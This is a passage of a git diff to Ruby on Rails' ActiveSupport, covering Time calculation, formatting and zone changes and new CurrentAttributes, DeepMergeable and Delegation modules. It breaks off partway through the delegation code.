+    new_year   = options.fetch(:year, year)
+    new_month  = options.fetch(:month, month)
+    new_day    = options.fetch(:day, day)
+    new_hour   = options.fetch(:hour, hour)
+    new_min    = options.fetch(:min, options[:hour] ? 0 : min)
+    new_sec    = options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec)
+    new_offset = options.fetch(:offset, nil)
 
     if new_nsec = options[:nsec]
       raise ArgumentError, "Can't change both :nsec and :usec at the same time: #{options.inspect}" if options[:usec]
@@ -107,13 +136,43 @@ def change(options)
       new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
     end
 
-    if utc?
-      ::Time.utc(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec)
+    raise ArgumentError, "argument out of range" if new_usec >= 1000000
+
+    new_sec += Rational(new_usec, 1000000)
+
+    if new_offset
+      ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec, new_offset)
+    elsif utc?
+      ::Time.utc(new_year, new_month, new_day, new_hour, new_min, new_sec)
+    elsif zone.respond_to?(:utc_to_local)
+      new_time = ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec, zone)
+
+      # Some versions of Ruby have a bug where Time.new with a zone object and
+      # fractional seconds will end up with a broken utc_offset.
+      # This is fixed in Ruby 3.3.1 and 3.2.4
+      unless new_time.utc_offset.integer?
+        new_time += 0
+      end
+
+      # When there are two occurrences of a nominal time due to DST ending,
+      # `Time.new` chooses the first chronological occurrence (the one with a
+      # larger UTC offset). However, for `change`, we want to choose the
+      # occurrence that matches this time's UTC offset.
+      #
+      # If the new time's UTC offset is larger than this time's UTC offset, the
+      # new time might be a first chronological occurrence. So we add the offset
+      # difference to fast-forward the new time, and check if the result has the
+      # desired UTC offset (i.e. is the second chronological occurrence).
+      offset_difference = new_time.utc_offset - utc_offset
+      if offset_difference > 0 && (new_time_2 = new_time + offset_difference).utc_offset == utc_offset
+        new_time_2
+      else
+        new_time
+      end
     elsif zone
-      ::Time.local(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec)
+      ::Time.local(new_sec, new_min, new_hour, new_day, new_month, new_year, nil, nil, isdst, nil)
     else
-      raise ArgumentError, "argument out of range" if new_usec >= 1000000
-      ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec + (new_usec.to_r / 1000000), utc_offset)
+      ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec, utc_offset)
     end
   end
 
@@ -128,6 +187,10 @@ def change(options)
   #   Time.new(2015, 8, 1, 14, 35, 0).advance(hours: 1)   # => 2015-08-01 15:35:00 -0700
   #   Time.new(2015, 8, 1, 14, 35, 0).advance(days: 1)    # => 2015-08-02 14:35:00 -0700
   #   Time.new(2015, 8, 1, 14, 35, 0).advance(weeks: 1)   # => 2015-08-08 14:35:00 -0700
+  #
+  # Just like Date#advance, increments are applied in order of time units from
+  # largest to smallest. This order can affect the result around the end of a
+  # month.
   def advance(options)
     unless options[:weeks].nil?
       options[:weeks], partial_weeks = options[:weeks].divmod(1)
@@ -139,8 +202,7 @@ def advance(options)
       options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
     end
 
-    d = to_date.advance(options)
-    d = d.gregorian if d.julian?
+    d = to_date.gregorian.advance(options)
     time_advanced_by_date = change(year: d.year, month: d.month, day: d.day)
     seconds_to_advance = \
       options.fetch(:seconds, 0) +
@@ -162,8 +224,6 @@ def ago(seconds)
   # Returns a new Time representing the time a number of seconds since the instance time
   def since(seconds)
     self + seconds
-  rescue
-    to_datetime.since(seconds)
   end
   alias :in :since
 
@@ -227,7 +287,7 @@ def end_of_minute
   end
   alias :at_end_of_minute :end_of_minute
 
-  def plus_with_duration(other) #:nodoc:
+  def plus_with_duration(other) # :nodoc:
     if ActiveSupport::Duration === other
       other.since(self)
     else
@@ -237,7 +297,7 @@ def plus_with_duration(other) #:nodoc:
   alias_method :plus_without_duration, :+
   alias_method :+, :plus_with_duration
 
-  def minus_with_duration(other) #:nodoc:
+  def minus_with_duration(other) # :nodoc:
     if ActiveSupport::Duration === other
       other.until(self)
     else
@@ -255,7 +315,7 @@ def minus_with_coercion(other)
     other.is_a?(DateTime) ? to_f - other.to_f : minus_without_coercion(other)
   end
   alias_method :minus_without_coercion, :-
-  alias_method :-, :minus_with_coercion
+  alias_method :-, :minus_with_coercion # rubocop:disable Lint/DuplicateMethods
 
   # Layers additional behavior on Time#<=> so that DateTime and ActiveSupport::TimeWithZone instances
   # can be chronologically compared with a Time
@@ -264,7 +324,12 @@ def compare_with_coercion(other)
     if other.class == Time
       compare_without_coercion(other)
     elsif other.is_a?(Time)
-      compare_without_coercion(other.to_time)
+      # also avoid ActiveSupport::TimeWithZone#to_time before Rails 8.0
+      if other.respond_to?(:comparable_time)
+        compare_without_coercion(other.comparable_time)
+      else
+        compare_without_coercion(other.to_time)
+      end
     else
       to_datetime <=> other
     end
@@ -281,4 +346,34 @@ def eql_with_coercion(other)
   end
   alias_method :eql_without_coercion, :eql?
   alias_method :eql?, :eql_with_coercion
+
+  # Returns a new time the specified number of days ago.
+  def prev_day(days = 1)
+    advance(days: -days)
+  end
+
+  # Returns a new time the specified number of days in the future.
+  def next_day(days = 1)
+    advance(days: days)
+  end
+
+  # Returns a new time the specified number of months ago.
+  def prev_month(months = 1)
+    advance(months: -months)
+  end
+
+  # Returns a new time the specified number of months in the future.
+  def next_month(months = 1)
+    advance(months: months)
+  end
+
+  # Returns a new time the specified number of years ago.
+  def prev_year(years = 1)
+    advance(years: -years)
+  end
+
+  # Returns a new time the specified number of years in the future.
+  def next_year(years = 1)
+    advance(years: years)
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/time/compatibility.rb b/activesupport/lib/active_support/core_ext/time/compatibility.rb
index ca4b9574d5980..de5290c1a5ad9 100644
--- a/activesupport/lib/active_support/core_ext/time/compatibility.rb
+++ b/activesupport/lib/active_support/core_ext/time/compatibility.rb
@@ -1,5 +1,15 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/date_and_time/compatibility"
+require "active_support/core_ext/module/redefine_method"
 
 class Time
-  prepend DateAndTime::Compatibility
+  include DateAndTime::Compatibility
+
+  silence_redefinition_of_method :to_time
+
+  # Return +self+.
+  def to_time
+    self
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
index f2bbe55aa6dd3..8336f4c7d959c 100644
--- a/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -1,9 +1,13 @@
+# frozen_string_literal: true
+
+require "time"
 require "active_support/inflector/methods"
 require "active_support/values/time_zone"
 
 class Time
   DATE_FORMATS = {
     db: "%Y-%m-%d %H:%M:%S",
+    inspect: "%Y-%m-%d %H:%M:%S.%9N %z",
     number: "%Y%m%d%H%M%S",
     nsec: "%Y%m%d%H%M%S%9N",
     usec: "%Y%m%d%H%M%S%6N",
@@ -18,43 +22,44 @@ class Time
       offset_format = time.formatted_offset(false)
       time.strftime("%a, %d %b %Y %H:%M:%S #{offset_format}")
     },
+    rfc2822: lambda { |time| time.rfc2822 },
     iso8601: lambda { |time| time.iso8601 }
   }
 
   # Converts to a formatted string. See DATE_FORMATS for built-in formats.
   #
-  # This method is aliased to <tt>to_s</tt>.
+  # This method is aliased to <tt>to_formatted_s</tt>.
   #
   #   time = Time.now                    # => 2007-01-18 06:10:17 -06:00
   #
+  #   time.to_fs(:time)                  # => "06:10"
   #   time.to_formatted_s(:time)         # => "06:10"
-  #   time.to_s(:time)                   # => "06:10"
   #
-  #   time.to_formatted_s(:db)           # => "2007-01-18 06:10:17"
-  #   time.to_formatted_s(:number)       # => "20070118061017"
-  #   time.to_formatted_s(:short)        # => "18 Jan 06:10"
-  #   time.to_formatted_s(:long)         # => "January 18, 2007 06:10"
-  #   time.to_formatted_s(:long_ordinal) # => "January 18th, 2007 06:10"
-  #   time.to_formatted_s(:rfc822)       # => "Thu, 18 Jan 2007 06:10:17 -0600"
-  #   time.to_formatted_s(:iso8601)      # => "2007-01-18T06:10:17-06:00"
+  #   time.to_fs(:db)           # => "2007-01-18 06:10:17"
+  #   time.to_fs(:number)       # => "20070118061017"
+  #   time.to_fs(:short)        # => "18 Jan 06:10"
+  #   time.to_fs(:long)         # => "January 18, 2007 06:10"
+  #   time.to_fs(:long_ordinal) # => "January 18th, 2007 06:10"
+  #   time.to_fs(:rfc822)       # => "Thu, 18 Jan 2007 06:10:17 -0600"
+  #   time.to_fs(:rfc2822)       # => "Thu, 18 Jan 2007 06:10:17 -0600"
+  #   time.to_fs(:iso8601)      # => "2007-01-18T06:10:17-06:00"
   #
-  # == Adding your own time formats to +to_formatted_s+
-  # You can add your own formats to the Time::DATE_FORMATS hash.
+  # == Adding your own time formats to +to_fs+
+  # You can add your own formats to the +Time::DATE_FORMATS+ hash.
   # Use the format name as the hash key and either a strftime string
   # or Proc instance that takes a time argument as the value.
   #
   #   # config/initializers/time_formats.rb
   #   Time::DATE_FORMATS[:month_and_year] = '%B %Y'
   #   Time::DATE_FORMATS[:short_ordinal]  = ->(time) { time.strftime("%B #{time.day.ordinalize}") }
-  def to_formatted_s(format = :default)
+  def to_fs(format = :default)
     if formatter = DATE_FORMATS[format]
       formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
     else
-      to_default_s
+      to_s
     end
   end
-  alias_method :to_default_s, :to_s
-  alias_method :to_s, :to_formatted_s
+  alias_method :to_formatted_s, :to_fs
 
   # Returns a formatted string of the offset from UTC, or an alternative
   # string if the time zone is already UTC.
@@ -64,4 +69,7 @@ def to_formatted_s(format = :default)
   def formatted_offset(colon = true, alternate_utc_string = nil)
     utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon)
   end
+
+  # Aliased to +xmlschema+ for compatibility with +DateTime+
+  alias_method :rfc3339, :xmlschema
 end
diff --git a/activesupport/lib/active_support/core_ext/time/zones.rb b/activesupport/lib/active_support/core_ext/time/zones.rb
index 87b5ad903a138..5f0d3c7f1e9b3 100644
--- a/activesupport/lib/active_support/core_ext/time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/time/zones.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/time_with_zone"
 require "active_support/core_ext/time/acts_like"
 require "active_support/core_ext/date_and_time/zones"
@@ -10,17 +12,17 @@ class << self
     # Returns the TimeZone for the current request, if this has been set (via Time.zone=).
     # If <tt>Time.zone</tt> has not been set for the current request, returns the TimeZone specified in <tt>config.time_zone</tt>.
     def zone
-      Thread.current[:time_zone] || zone_default
+      ::ActiveSupport::IsolatedExecutionState[:time_zone] || zone_default
     end
 
     # Sets <tt>Time.zone</tt> to a TimeZone object for the current request/thread.
     #
     # This method accepts any of the following:
     #
-    # * A Rails TimeZone object.
-    # * An identifier for a Rails TimeZone object (e.g., "Eastern Time (US & Canada)", <tt>-5.hours</tt>).
-    # * A TZInfo::Timezone object.
-    # * An identifier for a TZInfo::Timezone object (e.g., "America/New_York").
+    # * A \Rails TimeZone object.
+    # * An identifier for a \Rails TimeZone object (e.g., "Eastern \Time (US & Canada)", <tt>-5.hours</tt>).
+    # * A +TZInfo::Timezone+ object.
+    # * An identifier for a +TZInfo::Timezone+ object (e.g., "America/New_York").
     #
     # Here's an example of how you might set <tt>Time.zone</tt> on a per request basis and reset it when the request is done.
     # <tt>current_user.time_zone</tt> just needs to return a string identifying the user's preferred time zone:
@@ -37,7 +39,7 @@ def zone
     #     end
     #   end
     def zone=(time_zone)
-      Thread.current[:time_zone] = find_zone!(time_zone)
+      ::ActiveSupport::IsolatedExecutionState[:time_zone] = find_zone!(time_zone)
     end
 
     # Allows override of <tt>Time.zone</tt> locally inside supplied block;
@@ -47,16 +49,15 @@ def zone=(time_zone)
     #     around_action :set_time_zone
     #
     #     private
-    #
-    #     def set_time_zone
-    #       Time.use_zone(current_user.timezone) { yield }
-    #     end
+    #       def set_time_zone
+    #         Time.use_zone(current_user.timezone) { yield }
+    #       end
     #   end
     #
-    #  NOTE: This won't affect any <tt>ActiveSupport::TimeWithZone</tt>
-    #  objects that have already been created, e.g. any model timestamp
-    #  attributes that have been read before the block will remain in
-    #  the application's default timezone.
+    # NOTE: This won't affect any ActiveSupport::TimeWithZone
+    # objects that have already been created, e.g. any model timestamp
+    # attributes that have been read before the block will remain in
+    # the application's default timezone.
     def use_zone(time_zone)
       new_zone = find_zone!(time_zone)
       begin
@@ -78,24 +79,9 @@ def use_zone(time_zone)
     #   Time.find_zone! false              # => false
     #   Time.find_zone! "NOT-A-TIMEZONE"   # => ArgumentError: Invalid Timezone: NOT-A-TIMEZONE
     def find_zone!(time_zone)
-      if !time_zone || time_zone.is_a?(ActiveSupport::TimeZone)
-        time_zone
-      else
-        # Look up the timezone based on the identifier (unless we've been
-        # passed a TZInfo::Timezone)
-        unless time_zone.respond_to?(:period_for_local)
-          time_zone = ActiveSupport::TimeZone[time_zone] || TZInfo::Timezone.get(time_zone)
-        end
+      return time_zone unless time_zone
 
-        # Return if a TimeZone instance, or wrap in a TimeZone instance if a TZInfo::Timezone
-        if time_zone.is_a?(ActiveSupport::TimeZone)
-          time_zone
-        else
-          ActiveSupport::TimeZone.create(time_zone.name, nil, time_zone)
-        end
-      end
-    rescue TZInfo::InvalidTimezoneIdentifier
-      raise ArgumentError, "Invalid Timezone: #{time_zone}"
+      ActiveSupport::TimeZone[time_zone] || raise(ArgumentError, "Invalid Timezone: #{time_zone}")
     end
 
     # Returns a TimeZone instance matching the time zone provided.
diff --git a/activesupport/lib/active_support/core_ext/uri.rb b/activesupport/lib/active_support/core_ext/uri.rb
deleted file mode 100644
index 342a5fcd522ac..0000000000000
--- a/activesupport/lib/active_support/core_ext/uri.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require "uri"
-str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
-parser = URI::Parser.new
-
-unless str == parser.unescape(parser.escape(str))
-  URI::Parser.class_eval do
-    remove_method :unescape
-    def unescape(str, escaped = /%[a-fA-F\d]{2}/)
-      # TODO: Are we actually sure that ASCII == UTF-8?
-      # YK: My initial experiments say yes, but let's be sure please
-      enc = str.encoding
-      enc = Encoding::UTF_8 if enc == Encoding::US_ASCII
-      str.gsub(escaped) { |match| [match[1, 2].hex].pack("C") }.force_encoding(enc)
-    end
-  end
-end
-
-module URI
-  class << self
-    def parser
-      @parser ||= URI::Parser.new
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/current_attributes.rb b/activesupport/lib/active_support/current_attributes.rb
new file mode 100644
index 0000000000000..25330fd3f6275
--- /dev/null
+++ b/activesupport/lib/active_support/current_attributes.rb
@@ -0,0 +1,243 @@
+# frozen_string_literal: true
+
+require "active_support/callbacks"
+require "active_support/execution_context"
+require "active_support/core_ext/object/with"
+require "active_support/core_ext/enumerable"
+require "active_support/core_ext/module/delegation"
+
+module ActiveSupport
+  # = Current Attributes
+  #
+  # Abstract super class that provides a thread-isolated attributes singleton, which resets automatically
+  # before and after each request. This allows you to keep all the per-request attributes easily
+  # available to the whole system.
+  #
+  # The following full app-like example demonstrates how to use a Current class to
+  # facilitate easy access to the global, per-request attributes without passing them deeply
+  # around everywhere:
+  #
+  #   # app/models/current.rb
+  #   class Current < ActiveSupport::CurrentAttributes
+  #     attribute :account, :user
+  #     attribute :request_id, :user_agent, :ip_address
+  #
+  #     resets { Time.zone = nil }
+  #
+  #     def user=(user)
+  #       super
+  #       self.account = user.account
+  #       Time.zone    = user.time_zone
+  #     end
+  #   end
+  #
+  #   # app/controllers/concerns/authentication.rb
+  #   module Authentication
+  #     extend ActiveSupport::Concern
+  #
+  #     included do
+  #       before_action :authenticate
+  #     end
+  #
+  #     private
+  #       def authenticate
+  #         if authenticated_user = User.find_by(id: cookies.encrypted[:user_id])
+  #           Current.user = authenticated_user
+  #         else
+  #           redirect_to new_session_url
+  #         end
+  #       end
+  #   end
+  #
+  #   # app/controllers/concerns/set_current_request_details.rb
+  #   module SetCurrentRequestDetails
+  #     extend ActiveSupport::Concern
+  #
+  #     included do
+  #       before_action do
+  #         Current.request_id = request.uuid
+  #         Current.user_agent = request.user_agent
+  #         Current.ip_address = request.ip
+  #       end
+  #     end
+  #   end
+  #
+  #   class ApplicationController < ActionController::Base
+  #     include Authentication
+  #     include SetCurrentRequestDetails
+  #   end
+  #
+  #   class MessagesController < ApplicationController
+  #     def create
+  #       Current.account.messages.create(message_params)
+  #     end
+  #   end
+  #
+  #   class Message < ApplicationRecord
+  #     belongs_to :creator, default: -> { Current.user }
+  #     after_create { |message| Event.create(record: message) }
+  #   end
+  #
+  #   class Event < ApplicationRecord
+  #     before_create do
+  #       self.request_id = Current.request_id
+  #       self.user_agent = Current.user_agent
+  #       self.ip_address = Current.ip_address
+  #     end
+  #   end
+  #
+  # A word of caution: It's easy to overdo a global singleton like Current and tangle your model as a result.
+  # Current should only be used for a few, top-level globals, like account, user, and request details.
+  # The attributes stuck in Current should be used by more or less all actions on all requests. If you start
+  # sticking controller-specific attributes in there, you're going to create a mess.
+  class CurrentAttributes
+    include ActiveSupport::Callbacks
+    define_callbacks :reset
+
+    INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all] # :nodoc:
+
+    NOT_SET = Object.new.freeze # :nodoc:
+
+    class << self
+      # Returns singleton instance for this class in this thread. If none exists, one is created.
+      def instance
+        current_instances[current_instances_key] ||= new
+      end
+
+      # Declares one or more attributes that will be given both class and instance accessor methods.
+      #
+      # ==== Options
+      #
+      # * <tt>:default</tt> - The default value for the attributes. If the value
+      #   is a proc or lambda, it will be called whenever an instance is
+      #   constructed. Otherwise, the value will be duplicated with +#dup+.
+      #   Default values are re-assigned when the attributes are reset.
+      def attribute(*names, default: NOT_SET)
+        invalid_attribute_names = names.map(&:to_sym) & INVALID_ATTRIBUTE_NAMES
+        if invalid_attribute_names.any?
+          raise ArgumentError, "Restricted attribute names: #{invalid_attribute_names.join(", ")}"
+        end
+
+        Delegation.generate(singleton_class, names, to: :instance, nilable: false, signature: "")
+        Delegation.generate(singleton_class, names.map { |n| "#{n}=" }, to: :instance, nilable: false, signature: "value")
+
+        ActiveSupport::CodeGenerator.batch(generated_attribute_methods, __FILE__, __LINE__) do |owner|
+          names.each do |name|
+            owner.define_cached_method(name, namespace: :current_attributes) do |batch|
+              batch <<
+                "def #{name}" <<
+                "@attributes[:#{name}]" <<
+                "end"
+            end
+            owner.define_cached_method("#{name}=", namespace: :current_attributes) do |batch|
+              batch <<
+                "def #{name}=(value)" <<
+                "@attributes[:#{name}] = value" <<
+                "end"
+            end
+          end
+        end
+
+        self.defaults = defaults.merge(names.index_with { default })
+      end
+
+      # Calls this callback before #reset is called on the instance. Used for resetting external collaborators that depend on current values.
+      def before_reset(*methods, &block)
+        set_callback :reset, :before, *methods, &block
+      end
+
+      # Calls this callback after #reset is called on the instance. Used for resetting external collaborators, like Time.zone.
+      def resets(*methods, &block)
+        set_callback :reset, :after, *methods, &block
+      end
+      alias_method :after_reset, :resets
+
+      delegate :set, :reset, to: :instance
+
+      def clear_all # :nodoc:
+        if instances = current_instances
+          instances.values.each(&:reset)
+          instances.clear
+        end
+      end
+
+      private
+        def generated_attribute_methods
+          @generated_attribute_methods ||= Module.new.tap { |mod| include mod }
+        end
+
+        def current_instances
+          ExecutionContext.current_attributes_instances
+        end
+
+        def current_instances_key
+          @current_instances_key ||= name.to_sym
+        end
+
+        def method_missing(name, ...)
+          instance.public_send(name, ...)
+        end
+
+        def respond_to_missing?(name, _)
+          instance.respond_to?(name) || super
+        end
+
+        def method_added(name)
+          super
+
+          # We try to generate instance delegators early to not rely on method_missing.
+          return if name == :initialize
+
+          # If the added method isn't public, we don't delegate it.
+          return unless public_method_defined?(name)
+
+          # If we already have a class method by that name, we don't override it.
+          return if singleton_class.method_defined?(name) || singleton_class.private_method_defined?(name)
+
+          Delegation.generate(singleton_class, [name], to: :instance, as: self, nilable: false)
+        end
+    end
+
+    class_attribute :defaults, instance_writer: false, default: {}.freeze
+
+    attr_writer :attributes
+
+    def initialize
+      @attributes = resolve_defaults
+    end
+
+    def attributes
+      @attributes.dup
+    end
+
+    # Expose one or more attributes within a block. Old values are returned after the block concludes.
+    # Example demonstrating the common use of needing to set Current attributes outside the request-cycle:
+    #
+    #   class Chat::PublicationJob < ApplicationJob
+    #     def perform(attributes, room_number, creator)
+    #       Current.set(person: creator) do
+    #         Chat::Publisher.publish(attributes: attributes, room_number: room_number)
+    #       end
+    #     end
+    #   end
+    def set(attributes, &block)
+      with(**attributes, &block)
+    end
+
+    # Reset all attributes. Should be called before and after actions, when used as a per-request singleton.
+    def reset
+      run_callbacks :reset do
+        self.attributes = resolve_defaults
+      end
+    end
+
+    private
+      def resolve_defaults
+        defaults.each_with_object({}) do |(key, value), result|
+          if value != NOT_SET
+            result[key] = Proc === value ? value.call : value.dup
+          end
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/current_attributes/test_helper.rb b/activesupport/lib/active_support/current_attributes/test_helper.rb
new file mode 100644
index 0000000000000..681003240813c
--- /dev/null
+++ b/activesupport/lib/active_support/current_attributes/test_helper.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ActiveSupport::CurrentAttributes::TestHelper # :nodoc:
+  def before_setup
+    ActiveSupport::CurrentAttributes.clear_all
+    super
+  end
+
+  def after_teardown
+    super
+    ActiveSupport::CurrentAttributes.clear_all
+  end
+end
diff --git a/activesupport/lib/active_support/deep_mergeable.rb b/activesupport/lib/active_support/deep_mergeable.rb
new file mode 100644
index 0000000000000..c00a240bbd73c
--- /dev/null
+++ b/activesupport/lib/active_support/deep_mergeable.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # Provides +deep_merge+ and +deep_merge!+ methods. Expects the including class
+  # to provide a <tt>merge!(other, &block)</tt> method.
+  module DeepMergeable # :nodoc:
+    # Returns a new instance with the values from +other+ merged recursively.
+    #
+    #   class Hash
+    #     include ActiveSupport::DeepMergeable
+    #   end
+    #
+    #   hash_1 = { a: true, b: { c: [1, 2, 3] } }
+    #   hash_2 = { a: false, b: { x: [3, 4, 5] } }
+    #
+    #   hash_1.deep_merge(hash_2)
+    #   # => { a: false, b: { c: [1, 2, 3], x: [3, 4, 5] } }
+    #
+    # A block can be provided to merge non-<tt>DeepMergeable</tt> values:
+    #
+    #   hash_1 = { a: 100, b: 200, c: { c1: 100 } }
+    #   hash_2 = { b: 250, c: { c1: 200 } }
+    #
+    #   hash_1.deep_merge(hash_2) do |key, this_val, other_val|
+    #     this_val + other_val
+    #   end
+    #   # => { a: 100, b: 450, c: { c1: 300 } }
+    #
+    def deep_merge(other, &block)
+      dup.deep_merge!(other, &block)
+    end
+
+    # Same as #deep_merge, but modifies +self+.
+    def deep_merge!(other, &block)
+      merge!(other) do |key, this_val, other_val|
+        if this_val.is_a?(DeepMergeable) && this_val.deep_merge?(other_val)
+          this_val.deep_merge(other_val, &block)
+        elsif block_given?
+          block.call(key, this_val, other_val)
+        else
+          other_val
+        end
+      end
+    end
+
+    # Returns true if +other+ can be deep merged into +self+. Classes may
+    # override this method to restrict or expand the domain of deep mergeable
+    # values. Defaults to checking that +other+ is of type +self.class+.
+    def deep_merge?(other)
+      other.is_a?(self.class)
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/delegation.rb b/activesupport/lib/active_support/delegation.rb
new file mode 100644
index 0000000000000..6c7d7f2829849
--- /dev/null
+++ b/activesupport/lib/active_support/delegation.rb
@@ -0,0 +1,256 @@
+# frozen_string_literal: true
+
+require "delegate"
+
+module ActiveSupport
+  # Error generated by +delegate+ when a method is called on +nil+ and +allow_nil+
+  # option is not used.
+  class DelegationError < NoMethodError
+    class << self
+      def nil_target(method_name, target) # :nodoc:
+        new("#{method_name} delegated to #{target}, but #{target} is nil")
+      end
+    end
+  end
+
+  module Delegation # :nodoc:
+    RUBY_RESERVED_KEYWORDS = %w(__ENCODING__ __LINE__ __FILE__ alias and BEGIN begin break
+    case class def defined? do else elsif END end ensure false for if in module next nil
+    not or redo rescue retry return self super then true undef unless until when while yield)
+    RESERVED_METHOD_NAMES = (RUBY_RESERVED_KEYWORDS + %w(_ arg args block)).to_set.freeze
+
+    class ClassDelegator < ::Delegator
+      attr_reader :delegate_dc_obj
+      alias_method :__getobj__, :delegate_dc_obj
+      undef_method :delegate_dc_obj
+
+      def initialize(delegated_obj)
+        @delegate_dc_obj = delegated_obj
+      end
+
+      def __setobj__(obj)
+        __raise__ ::ArgumentError, "cannot delegate to self" if equal?(obj)
+        @delegate_dc_obj = obj
+      end
+    end
+
+    class << self
+      def generate(owner, methods, location: nil, to: nil, prefix: nil, allow_nil: nil, nilable: true, private: nil, as: nil, signature: nil)
+        unless to
+          raise ArgumentError, "Delegation needs a target. Supply a keyword argument 'to' (e.g. delegate :hello, to: :greeter)."
+        end
+
+        if prefix == true && /^[^a-z_]/.match?(to)
+          raise ArgumentError, "Can only automatically set the delegation prefix when delegating to a method."
+        end
+
+        method_prefix = \
+          if prefix
+            "#{prefix == true ? to : prefix}_"
+          else
+            ""
+          end
+
+        location ||= caller_locations(1, 1).first
+        file, line = location.path, location.lineno
+
+        receiver = if to.is_a?(Module)
+          if to.name.nil?
+            raise ArgumentError, "Can't delegate to anonymous class or module: #{to}"
+          end
+
+          unless Inflector.safe_constantize(to.name).equal?(to)
+            raise ArgumentError, "Can't delegate to detached class or module: #{to.name}"
+          end
+
+          "::#{to.name}"
+        else
+          to.to_s
+        end
+        receiver = "self.#{receiver}" if RESERVED_METHOD_NAMES.include?(receiver)
+
+        explicit_receiver = false
+        receiver_class = if as
+          explicit_receiver = true
+          as
+        elsif to.is_a?(Module)
+          to.singleton_class
+        elsif receiver == "self.class"
+          nilable = false # self.class can't possibly be nil
+          owner.singleton_class
+        end
+
+        method_def = []
+        method_names = []
+
+        method_def << "self.private" if private
+
+        methods.each do |method|
+          method_name = prefix ? "#{method_prefix}#{method}" : method
+          method_names << method_name.to_sym
+
+          # Attribute writer methods only accept one argument. Makes sure []=
+          # methods still accept two arguments.
+          definition = \
+            if signature
+              signature
+            elsif /[^\]]=\z/.match?(method)
+              "arg"
+            else
+              method_object = if receiver_class
+                begin
+                  receiver_class.public_instance_method(method)
+                rescue NameError
+                  raise if explicit_receiver
+                  # Do nothing. Fall back to `"..."`
+                end
+              end
+
+              if method_object
+                parameters = method_object.parameters
+
+                if parameters.map(&:first).intersect?([:opt, :rest, :keyreq, :key, :keyrest])
+                  "..."
+                else
+                  defn = parameters.filter_map { |type, arg| arg if type == :req }
+                  defn << "&"
+                  defn.join(", ")
+                end
+              else
+                "..."
+              end
+            end
+
+          # The following generated method calls the target exactly once, storing
+          # the returned value in a dummy variable.
+          #
+          # Reason is twofold: On one hand doing less calls is in general better.
+          # On the other hand it could be that the target has side-effects,
+          # whereas conceptually, from the user point of view, the delegator should
+          # be doing one call.
+          if nilable == false
+            method_def <<
+              "def #{method_name}(#{definition})" <<
+              "  (#{receiver}).#{method}(#{definition})" <<
+              "end"
+          elsif allow_nil
+            method = method.to_s
+
+            method_def <<
+              "def #{method_name}(#{definition})" <<
+              "  _ = #{receiver}" <<
+              "  if !_.nil? || nil.respond_to?(:#{method})" <<
+              "    _.#{method}(#{definition})" <<
+              "  end" <<
+              "end"
+          else
+            method = method.to_s
+            method_name = method_name.to_s
+
+            method_def <<
+              "def #{method_name}(#{definition})" <<
+              "  _ = #{receiver}" <<
+              "  _.#{method}(#{definition})" <<
+              "rescue ::NoMethodError => e" <<
+              "  if _.nil? && e.name == :#{method}" <<
+              "    ::Kernel.raise ::ActiveSupport::DelegationError.nil_target(:#{method_name}, :'#{receiver}')" <<
+              "  else" <<
+              "    ::Kernel.raise" <<
+              "  end" <<
+              "end"
+          end
+        end
+        owner.module_eval(method_def.join(";"), file, line)
+        method_names
+      end
+
+      def generate_method_missing(owner, target, allow_nil: nil)
+        target = target.to_s
+        target = "self.#{target}" if RESERVED_METHOD_NAMES.include?(target) || target == "__target"
+
+        nil_behavior = if allow_nil
+          "nil"
+        else
+          "::Kernel.raise ::ActiveSupport::DelegationError.nil_target(method, :'#{target}')"
+        end
+
+        owner.module_eval <<~RUBY, __FILE__, __LINE__ + 1
+          def respond_to_missing?(name, include_private = false)
+            # It may look like an oversight, but we deliberately do not pass
+            # +include_private+, because they do not get delegated.
+
+            return false if name == :marshal_dump || name == :_dump
+            #{target}.respond_to?(name) || super
+          end
+
+          def method_missing(method, ...)
+            __target = #{target}
+            if __target.nil? && !nil.respond_to?(method)
+              #{nil_behavior}
+            elsif __target.respond_to?(method)
+              __target.public_send(method, ...)
+            else
+              super
+            end
+          end
+        RUBY
+      end
+
+      def DelegateClass(superclass, &block)
+        klass = Class.new(ClassDelegator)
+
+        ignores = [*::Delegator.public_api, :to_s, :inspect, :=~, :!~, :===]
+        protected_instance_methods = superclass.protected_instance_methods - ignores
+        public_instance_methods = superclass.public_instance_methods - ignores
+        delegated_methods = public_instance_methods + protected_instance_methods
+
+        method_def = []
+
+        delegated_methods.each do |method_name|
+          if method_name.match?(/\A[a-zA-Z]\w+[!?]?\z/)
+            parameters = superclass.instance_method(method_name).parameters
+
+            signature = if parameters.empty?
+              ""
+            elsif parameters.all? { |type, _name| type == :req || type == :keyreq || type == :block }
+              anonymous = 0
+              parameters.map do |type, name|
+                case type
+                when :req
+                  name || "__anonymous_arg_#{anonymous += 1}"
+                when :keyreq
+                  "#{name}:"
+                when :block
+                  if name == :&
+                    name
+                  else
+                    "&#{name}"
+                  end
+                end
+              end.join(", ")
+            else
